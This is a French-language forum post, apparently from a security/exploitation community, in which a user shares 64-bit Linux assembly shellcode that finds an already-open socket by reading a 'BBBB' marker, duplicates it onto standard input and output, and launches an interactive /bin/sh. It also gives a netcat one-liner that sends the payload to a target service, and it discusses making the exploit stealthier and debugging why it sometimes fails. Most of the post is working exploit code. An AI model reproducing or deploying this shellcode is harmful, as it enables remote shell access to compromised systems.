[shellcode] Reverse shell over reused socket

[ark]

Yep, merci =)

Je vais commencer par implémenter ca, puis je passerai sur de l'optimisation de taille. Et eventuellement du retirage des octets en 0x00.
Au passage, si quelqu'un se sent d'en faire une version 32bits, ca peut etre koule =)

Et sinon, je pensais à également faire un truc plus discret encore, c'est à dire qui rendrait la main qu process une fois qu'on en a fini avec notre shell. Je pensais partir sur un fork avant de faire la recherche de la socket, et puis wait() et return dans le père, ca devrait etre pas trop mal.

Bref, j'vous tiens au courant quoi :)

EDIT :

Bon, alors, j'ai mis en place la technique proposé par Gruik, ça marche pas encore à tous les coups, mais je vois pas encore pourquoi :p
Donc, voici le code :

Code ASM :


BITS 64
section .text

    global _start

_start:
    call start
    db "/bin/sh", 0, 0
    db "-i", 0, 0, 0

start:
    xor rdi, rdi                        ; rdi will contain our fd (but we will use it's sub-register : dil)
    xor rax, rax                      ; Wait, I think I don't need this anymore
    inc rax

    sub rsp, 8                        ; let's make us some space on the stack
    mov dword [rsp], 0            ; and set it to 0

; There we start initializing our syscall recvfrom()
; Those registers won't change when we loop
    mov rsi, rsp
    mov rdx, 4
    xor r8, r8
    xor r9, r9 

    jmp check_fd_loop_end
check_fd_loop_start:

    dec dil                       ; we try the next fd
    mov rcx, 64     ; MSG_DONTWAIT for a non blocking recvfrom
    mov rax, 45                ; syscall recvfrom()
    syscall         ; recvfrom(fd, stack_pointer, 4, flag = MSG_DONTWAIT, NULL, 0));
   
check_fd_loop_end:
    cmp dword [rsp], 0x42424242         ; Comparision with the choosen pattern
    jne check_fd_loop_start

    add rsp, 8                                     ; We restore the stack because we'll need to pop the right addresses next
; Start to dup2()
    mov rsi, 3
dup_loop:
    mov rax, 33
    dec rsi
    syscall
    test rsi, rsi
    jnz dup_loop

; let's get the shell!
    mov rdi, [rsp]
    lea rax, [rdi + 9]
    mov [rsp + 8], rax
    lea rsi, [rsp]
    mov qword [rsp + 0x10], 0
    mov rdx, 0
    mov rax, 59
    syscall
 

J'utilise un appel a recvrom() pour read sur la socket ; j'ai reservé de l'espace sur la stack pour stocker le dword lu. Il est ensuite comparé (0x42424242 == BBBB) et si la comparaison match, on peut lancer le shell sur notre socket.

Pour le lancer, j'ai un peu modifié ma ligne, puisqu'il faut lui envoyer le pattern :

Code BASH :


(echo -ne `getsc scode` ; echo -n BBBB ; cat) | nc 0 1024
 

Voilà! Bon, donc ça, ça drop un shell de temps en temps, il y a des fois ou il part en boucle inf, sans arriver à lire le pattern sur la socket, donc la comparaison reste toujours fausse. C'est assez bizarre, peut etre qu'il n'arrive pas à lire parce qu'il passe trop vite, et le message est pas encore envoyé ; du coup il ne le lit pas. Mais je me dis que dans ce cas il devrait tout de même le lire au deuxieme passage ... Je ne sais pas trop encore, je continue mes recherches ! :p